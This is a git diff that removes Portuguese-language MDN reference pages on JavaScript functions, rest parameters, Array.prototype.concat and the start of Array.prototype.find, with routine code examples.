-<p>Default function parameters allow formal parameters to be initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p>
-
-<h3 id="Parâmetros_Rest">Parâmetros <em>Rest</em></h3>
-
-<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p>
-
-<h2 id="O_objeto_arguments">O objeto <em><code>arguments</code></em></h2>
-
-<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
-
-<ul>
- <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li>
- <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li>
- <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li>
- <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li>
-</ul>
-
-<h2 id="Definindo_funções_de_método">Definindo funções de método</h2>
-
-<h3 id="Getter_and_setter_functions">Getter and setter functions</h3>
-
-<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
- <dd>
- <p>Binds an object property to a function that will be called when that property is looked up.</p>
- </dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
- <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd>
-</dl>
-
-<h3 id="Method_definition_syntax">Method definition syntax</h3>
-
-<p>Starting with ECMAScript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p>
-
-<pre class="brush: js">var obj = {
- foo() {},
-  bar() {}
-};</pre>
-
-<h2 id="Constructor_vs._declaration_vs._expression">Constructor vs. declaration vs. expression</h2>
-
-<p>Compare the following:</p>
-
-<p>A function defined with the <code>Function</code> <em>constructor</em> assigned to the variable <code>multiply:</code></p>
-
-<pre class="brush: js">var multiply = new Function('x', 'y', 'return x * y');</pre>
-
-<p>A <em>function declaration</em> of a function named <code>multiply</code>:</p>
-
-<pre class="brush: js">function multiply(x, y) {
-  return x * y;
-} // there is no semicolon here
-</pre>
-
-<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply:</code></p>
-
-<pre class="brush: js">var multiply = function(x, y) {
- return x * y;
-};
-</pre>
-
-<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply:</code></p>
-
-<pre class="brush: js">var multiply = function func_name(x, y) {
- return x * y;
-};
-</pre>
-
-<h3 id="Differences">Differences</h3>
-
-<p>All do approximately the same thing, with a few subtle differences:</p>
-
-<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p>
-
-<pre class="brush: js">var y = function x() {};
-alert(x); // throws an error
-</pre>
-
-<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p>
-
-<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope in which the function is declared.</p>
-
-<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p>
-
-<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p>
-
-<pre class="brush: js">function anonymous() {
-}
-</pre>
-
-<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p>
-
-<pre class="brush: js">var foo = new Function("alert(anonymous);");
-foo();
-</pre>
-
-<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p>
-
-<pre class="brush: js">foo(); // alerts FOO!
-function foo() {
- alert('FOO!');
-}
-</pre>
-
-<p>A function defined by a function expression or by a function declaration inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p>
-
-<pre class="brush: js">/*
- * Declare and initialize a variable 'p' (global)
- * and a function 'myFunc' (to change the scope) inside which
- * declare a varible with same name 'p' (current) and
- * define three functions using three different ways:-
- * 1. function declaration
- * 2. function expression
- * 3. function constructor
- * each of which will log 'p'
- */
-var p = 5;
-function myFunc() {
- var p = 9;
-
- function decl() {
- console.log(p);
- }
- var expr = function() {
- console.log(p);
- };
- var cons = new Function('\tconsole.log(p);');
-
- decl();
- expr();
- cons();
-}
-myFunc();
-
-/*
- * Logs:-
- * 9 - for 'decl' by function declaration (current scope)
- * 9 - for 'expr' by function expression (current scope)
- * 5 - for 'cons' by Function constructor (global scope)
- */
-</pre>
-
-<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p>
-
-<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p>
-
-<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
-foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre>
-
-<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p>
-
-<ul>
- <li>becomes part of an expression</li>
- <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li>
-</ul>
-
-<pre class="brush: js">var x = 0; // source element
-if (x === 0) { // source element
- x = 10; // not a source element
- function boo() {} // not a source element
-}
-function foo() { // source element
- var y = 20; // source element
- function bar() {} // source element
- while (y === 10) { // source element
- function blah() {} // not a source element
- y++; // not a source element
- }
-}
-</pre>
-
-<h3 id="Examples">Examples</h3>
-
-<pre class="brush: js">// function declaration
-function foo() {}
-
-// function expression
-(function bar() {})
-
-// function expression
-x = function hello() {}
-
-
-if (x) {
- // function expression
- function world() {}
-}
-
-
-// function declaration
-function a() {
- // function declaration
- function b() {}
- if (0) {
- // function expression
- function c() {}
- }
-}
-</pre>
-
-<h2 id="Block-level_functions">Block-level functions</h2>
-
-<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are now scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p>
-
-<pre class="brush: js">'use strict';
-
-function f() {
- return 1;
-}
-
-{
- function f() {
- return 2;
- }
-}
-
-f() === 1; // true
-
-// f() === 2 in non-strict mode
-</pre>
-
-<h3 id="Block-level_functions_in_non-strict_code">Block-level functions in non-strict code</h3>
-
-<p>In a word: Don't.</p>
-
-<p>In non-strict code, function declarations inside blocks behave strangely. For example:</p>
-
-<pre class="brush: js">if (shouldDefineZero) {
- function zero() { // DANGER: compatibility risk
- console.log("This is zero.");
- }
-}
-</pre>
-
-<p>ES2015 says that if <code>shouldDefineZero</code> is false, then <code>zero</code> should never be defined, since the block never executes. However, it's a new part of the standard. Historically, this was left unspecified, and some browsers would define <code>zero</code> whether the block executed or not.</p>
-
-<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, all browsers that support ES2015 handle this the same way: <code>zero</code> is defined only if <code>shouldDefineZero</code> is true, and only in the scope of the <code>if</code>-block.</p>
-
-<p>A safer way to define functions conditionally is to assign a function expression to a variable:</p>
-
-<pre class="brush: js">var zero;
-if (shouldDefineZero) {
- zero = function() {
- console.log("This is zero.");
- };
-}
-</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Returning_a_formatted_number">Returning a formatted number</h3>
-
-<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p>
-
-<pre class="brush: js">// This function returns a string padded with leading zeros
-function padZeros(num, totalLen) {
- var numStr = num.toString(); // Initialize return value as string
- var numZeros = totalLen - numStr.length; // Calculate no. of zeros
- for (var i = 1; i &lt;= numZeros; i++) {
- numStr = "0" + numStr;
- }
- return numStr;
-}
-</pre>
-
-<p>The following statements call the padZeros function.</p>
-
-<pre class="brush: js">var result;
-result = padZeros(42,4); // returns "0042"
-result = padZeros(42,2); // returns "42"
-result = padZeros(5,4); // returns "0005"
-</pre>
-
-<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3>
-
-<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is performed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p>
-
-<pre class="brush: js"> if ('function' === typeof window.noFunc) {
- // use noFunc()
- } else {
- // do something else
- }
-</pre>
-
-<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.0</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>New: Arrow functions, Generator functions, default parameters, rest parameters.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.functions")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{jsxref("Statements/function", "function statement")}}</li>
- <li>{{jsxref("Operators/function", "function expression")}}</li>
- <li>{{jsxref("Statements/function*", "function* statement")}}</li>
- <li>{{jsxref("Operators/function*", "function* expression")}}</li>
- <li>{{jsxref("Function")}}</li>
- <li>{{jsxref("GeneratorFunction")}}</li>
- <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li>
- <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li>
- <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li>
- <li>{{jsxref("Functions/arguments", "Arguments object")}}</li>
- <li>{{jsxref("Functions/get", "getter")}}</li>
- <li>{{jsxref("Functions/set", "setter")}}</li>
- <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html b/files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html
deleted file mode 100644
index 357ce41efa..0000000000
--- a/files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html
+++ /dev/null
@@ -1,235 +0,0 @@
----
-title: Parâmetros Rest
-slug: Web/JavaScript/Reference/Functions/rest_parameters
-tags:
- - Funcionalidade Linguagem
- - Funções
- - JavaScript
- - Parametros Rest
- - Rest
-translation_of: Web/JavaScript/Reference/Functions/rest_parameters
-original_slug: Web/JavaScript/Reference/Funcoes/parametros_rest
----
-<div>Parâmetrois {{jsSidebar("Functions")}}</div>
-
-<p><span class="seoSummary">A sintaxe do <strong>parâmetro "rest"</strong> permite-nos representar um número indefinido de argumentos</span><span class="seoSummary">como um <em>array</em>.</span></p>
-
-<div>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">function f(<var>a</var>, <var>b</var>, ...<var>theArgs</var>) {
- // ...
-}</pre>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A function's last parameter can be prefixed with <code>...</code> which will cause all remaining (user supplied) arguments to be placed within a "standard" Javascript array.</p>
-
-<p>Only the last parameter can be a "rest parameter".</p>
-
-<pre class="brush: js">function myFun(<var>a</var>, <var>b</var>, ...<var>manyMoreArgs</var>) {
- console.log("a", a)
- console.log("b", b)
- console.log("manyMoreArgs", manyMoreArgs)
-}
-
-myFun("one", "two", "three", "four", "five", "six")
-
-// Console Output:
-// a, one
-// b, two
-// manyMoreArgs, [three, four, five, six]
-</pre>
-
-<h3 id="Difference_between_rest_parameters_and_the_arguments_object">Difference between rest parameters and the <code>arguments</code> object</h3>
-
-<p>There are three main differences between rest parameters and the {{jsxref("Functions/arguments", "arguments")}} object:</p>
-
-<ul>
- <li>rest parameters are only the ones that haven't been given a separate name (i.e. formally defined in function expression), while the <code>arguments</code> object contains <em>all</em> arguments passed to the function;</li>
- <li>the <code>arguments</code> object is not a real array, while rest parameters are {{jsxref("Global_Objects/Array", "Array")}} instances, meaning methods like {{jsxref("Array.sort", "sort")}}, {{jsxref("Array.map", "map")}}, {{jsxref("Array.forEach", "forEach")}} or {{jsxref("Array/pop", "pop")}} can be applied on it directly;</li>
- <li>the <code>arguments</code> object has additional functionality specific to itself (like the <code>callee</code> property).</li>
-</ul>
-
-<h3 id="From_arguments_to_an_array">From arguments to an array</h3>
-
-<p>Rest parameters have been introduced to reduce the boilerplate code that was induced by the arguments</p>
-
-<pre class="brush: js">// Before rest parameters, "arguments" could be converted to a normal array using:
-
-function f(a, b) {
-
- let normalArray = Array.prototype.slice.call(arguments)
- // -- or --
- let normalArray = [].slice.call(arguments)
- // -- or --
- let normalArray = Array.from(arguments)
-
- let first = normalArray.shift() // OK, gives the first argument
- let first = arguments.shift() // ERROR (arguments is not a normal array)
-}
-
-// Now, you can easily gain access to a normal array using a rest parameter
-
-function f(...args) {
- let normalArray = args
- let first = normalArray.shift() // OK, gives the first argument
-}
-</pre>
-
-<h3 id="Destructuring_rest_parameters">Destructuring rest parameters</h3>
-
-<p>Rest parameters can be destructured Arrays only (though objects will soon be supported). That means that their data can be unpacked into distinct variables. (See <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a>.)</p>
-
-<pre class="brush: js">function f(...[a, b, c]) {
- return a + b + c;
-}
-
-f(1) // NaN (b and c are undefined)
-f(1, 2, 3) // 6
-f(1, 2, 3, 4) // 6 (the fourth parameter is not destructured)
-</pre>
-
-<div class="blockIndicator note">
-<h4 id="Fixme">Fixme</h4>
-
-<p><s>Doing this is possible, but (afaik) there's no use-case, so it's just confusing the junior audience. The following code does exactly the same. There should at least be a note, that in theory you can do something like this, but there is no point in doing so.</s> The example is contrived, but imagine that [a, b, c] were the return value of some function. Then the utility is clear.</p>
-
-<p><s>Also, since <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">Function arguments</a> will never have named parameters (this is not Python), the statement "objects will soon be supported" is wrong. </s> The preceding example may be mixing up destructuring with rest parameters. Please see the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">page on destructuring assignment</a> for an example with object destructuring applied in the parameters area.</p>
-
-<pre class="brush: js">function f(a, b, c) {
- return a + b + c
-}
-
-f(1) // NaN (b and c are undefined)
-f(1, 2, 3) // 6
-f(1, 2, 3, 4) // 6 (the fourth parameter is not ...)
-</pre>
-</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>In this example, the first argument is mapped to <code>a</code> and the second to <code>b</code>, so these named arguments are used like normal.</p>
-
-<p>However, the third argument, <code>manyMoreArgs</code>, will be an array that contains the 3<sup>rd</sup>, 4<sup>th</sup>, 5<sup>th</sup>, 6<sup>th</sup> ... <var>n</var><sup>th</sup> — as many arguments that the user includes.</p>
-
-<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) {
- console.log("a", a)
- console.log("b", b)
- console.log("manyMoreArgs", manyMoreArgs)
-}
-
-myFun("one", "two", "three", "four", "five", "six")
-
-// a, one
-// b, two
-// manyMoreArgs, [three, four, five, six]
-</pre>
-
-<p>Below... even though there is just one value, the last argument still gets put into an array.</p>
-
-<pre class="brush: js">// using the same function definition from example above
-
-myFun("one", "two", "three")
-
-// a, one
-// b, two
-// manyMoreArgs, [three]</pre>
-
-<p>Below, the third argument isn't provided, but <code>manyMoreArgs</code> is still an array (albeit an empty one).</p>
-
-<pre class="brush: js">// using the same function definition from example above
-
-myFun("one", "two")
-
-// a, one
-// b, two
-// manyMoreArgs, []</pre>
-
-<p>Since <code>theArgs</code> is an array, a count of its elements is given by the <code>length</code> property:</p>
-
-<pre class="brush: js">function fun1(...theArgs) {
- console.log(theArgs.length)
-}
-
-fun1() // 0
-fun1(5) // 1
-fun1(5, 6, 7) // 3
-</pre>
-
-<p>In the next example, a rest parameter is used to collect all parameters after the first into an array. Each one of them is then multiplied by the first parameter, and the array is returned:</p>
-
-<pre class="brush: js">function multiply(multiplier, ...theArgs) {
- return theArgs.map(function(element) {
- return multiplier * element
- })
-}
-
-let arr = multiply(2, 1, 2, 3)
-console.log(arr) // [2, 4, 6]
-</pre>
-
-<p><code>Array</code> methods can be used on rest parameters, but not on the <code>arguments</code> object:</p>
-
-<pre class="brush: js">function sortRestArgs(...theArgs) {
- let sortedArgs = theArgs.sort()
- return sortedArgs
-}
-
-console.log(sortRestArgs(5, 3, 7, 1)) // 1, 3, 5, 7
-
-function sortArguments() {
- let sortedArgs = arguments.sort()
- return sortedArgs // this will never happen
-}
-
-
-console.log(sortArguments(5, 3, 7, 1))
-// throws a TypeError (arguments.sort is not a function)
-</pre>
-
-<p>To use <code>Array</code> methods on the <code>arguments</code> object, it must be converted to a real array first.</p>
-
-<pre class="brush: js">function sortArguments() {
- let args = Array.from(arguments)
- let sortedArgs = args.sort()
- return sortedArgs
-}
-console.log(sortArguments(5, 3, 7, 1)) // 1, 3, 5, 7
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibildiade_de_navegador">Compatibildiade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.functions.rest_parameters")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">Spread syntax</a> (also ‘<code>...</code>’)</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Arguments object</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">Functions</a></li>
- <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Original proposal at ecmascript.org</a></li>
- <li><a class="external" href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/concat/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/concat/index.html
deleted file mode 100644
index 237818a04c..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/concat/index.html
+++ /dev/null
@@ -1,205 +0,0 @@
----
-title: Array.prototype.concat()
-slug: Web/JavaScript/Reference/Global_Objects/Array/concat
-tags:
- - JavaScript
- - Prototipo
- - Referencia
- - Vector
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>concat()</strong></code> é usado para concatenar dois ou mais vectores. Este método não altera os vectores existentes, devolvendo ao invés um novo vector.</p>
-
-<pre class="brush: js">var vec1 = ['a', 'b', 'c'];
-var vec2 = ['d', 'e', 'f'];
-
-var vec3 = vec1.concat(vec2);
-
-// vec3 é um novo vector [ "a", "b", "c", "d", "e", "f" ]</pre>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">var <var>novo_vector</var> = <var>velho_vector</var>.concat(<var>valor1</var>[, <var>valor2</var>[, ...[, <var>valorN</var>]]])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>valor<em>N</em></code></dt>
- <dd>Vectores e/ou valores a concatenar num novo vector. Veja a descrição detalhada abaixo.</dd>
-</dl>
-
-<h3 id="Valor_devolvido">Valor devolvido</h3>
-
-<p>Uma nova instância de {{jsxref("Array")}}.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O método <code>concat</code> cria um novo vector constituído pelos elementos no vector em que foi chamado, seguidos por ordem por, cada argumento, os elementos desse argumento (se o argumento é um vector), ou o argumento em si (se o argumento não é um vector). Não entra recursivamente em vectores inclusos.</p>
-
-<p>O método <code>concat</code> não altera <code>this</code> ou qualquer dos vectores fornecidos como argumentos, devolve sim uma cópia superficial (shallow copy) que contém cópias dos mesmos elementos combinados dos vectores originais. Os elementos dos vectores originais são copiados para o novo vector da seguinte forma:</p>
-
-<ul>
- <li>Object references (and not the actual object): <code>concat</code> copies object references into the new array. Both the original and new array refer to the same object. That is, if a referenced object is modified, the changes are visible to both the new and original arrays. This includes elements of array arguments that are also arrays.</li>
- <li>Strings, numbers and booleans (not {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Number", "Number")}}, and {{jsxref("Global_Objects/Boolean", "Boolean")}} objects): <code>concat</code> copies the values of strings and numbers into the new array.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note:</strong> Concatenating array(s)/value(s) will leave the originals untouched. Furthermore, any operation on the new array(only if the element is not object reference) will have no effect on the original arrays, and vice versa.</p>
-</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Concatenar_dois_vectores">Concatenar dois vectores</h3>
-
-<p>O código que se segue concatena dois vectores:</p>
-
-<pre class="brush: js">var alfa = ['a', 'b', 'c'];
-var numerico = [1, 2, 3];
-
-alfa.concat(numerico);
-// resulta em ['a', 'b', 'c', 1, 2, 3]
-</pre>
-
-<h3 id="Concatenar_três_vectores">Concatenar três vectores</h3>
-
-<p>O código que se segue concatena três vectores:</p>
-
-<pre class="brush: js">var num1 = [1, 2, 3],
- num2 = [4, 5, 6],
- num3 = [7, 8, 9];
-
-var nums = num1.concat(num2, num3);
-
-console.log(nums);
-// resulta em [1, 2, 3, 4, 5, 6, 7, 8, 9]
-</pre>
-
-<h3 id="Concatenar_valores_para_um_vector">Concatenar valores para um vector</h3>
-
-<p>O código que se segue concatena três valores a um vector:</p>
-
-<pre class="brush: js">var alfa = ['a', 'b', 'c'];
-
-var alfaNumerico = alfa.concat(1, [2, 3]);
-
-console.log(alphaNumeric);
-// resulta em ['a', 'b', 'c', 1, 2, 3]
-</pre>
-
-<h3 id="Concatenar_vectores_inclusos">Concatenar vectores inclusos</h3>
-
-<p>O código que se segue concatena vectores inclusos e demonstra retenção de referências:</p>
-
-<pre class="brush: js">var num1 = [[1]];
-var num2 = [2, [3]];
-
-var nums = num1.concat(num2);
-
-console.log(nums);
-// resulta em [[1], 2, [3]]
-
-// modificar o primeiro elemento de num1
-num1[0].push(4);
-
-console.log(nums);
-// resulta em [[1, 4], 2, [3]]
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES3')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td>Definição inicial. Implementado no JavaScript 1.2.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Edge</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatChrome("1.0")}}</td>
- <td>{{CompatGeckoDesktop("1.7")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatIE("5.5")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Característica</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — adicionar/eliminar elementos no fim do vector</li>
- <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — adicionar/eliminar elementos no início do vector</li>
- <li>{{jsxref("Array.splice", "splice")}} — adicionar e/ou eliminar elementos no local especificado do vector</li>
- <li>{{jsxref("String.prototype.concat()")}}</li>
- <li>{{jsxref("Symbol.isConcatSpreadable")}} – control flattening.</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/find/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/find/index.html
deleted file mode 100644
index 3eedeb54a9..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/find/index.html
+++ /dev/null
@@ -1,210 +0,0 @@
----
-title: Array.prototype.find()
-slug: Web/JavaScript/Reference/Global_Objects/Array/find
-tags:
- - Array
- - ECMAScript 2015
- - JavaScript
- - Method
- - polyfill
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>find()</strong></code> retorna o <strong>valor</strong> do primeiro elemento do array que satisfaça a função de teste fornecida. Caso contrário o valor {{jsxref("undefined")}} é retornado.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-find.html")}}</div>
-
-
-
-<p>Ver também o método {{jsxref("Array.findIndex", "findIndex()")}} , o qual retorna o <strong>index</strong> de um elemento encontrado num array, em alternativa do seu valor.</p>
-
-<p>É possível obter a posição de um elemento ou verificar a sua existência num array, através da função {{jsxref("Array.prototype.indexOf()")}} ou {{jsxref("Array.prototype.includes()")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>callback</code></dt>
- <dd>Função a executar em cada elemento do array, utilizando três argumentos:
- <dl>
- <dt><code>element</code></dt>
- <dd>O elemento a ser processado no array.</dd>
- <dt><code>index</code>{{optional_inline}}</dt>
- <dd>O index do elemento a ser processado no array.</dd>
- <dt><code>array</code>{{optional_inline}}</dt>
- <dd>O array no qual o método <code>find</code> foi chamado.</dd>
- </dl>
- </dd>
- <dt><code>thisArg</code> <code>{{Optional_inline}}</code></dt>
- <dd>Objeto para usar como <code>this</code> ao executar a <code>callback</code>.</dd>
-</dl>
-
-<h3 id="Valor_de_retorno">Valor de retorno</h3>
-
-<p>Um valor do array caso um elemento passe no teste; caso contrário, {{jsxref("undefined")}}.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
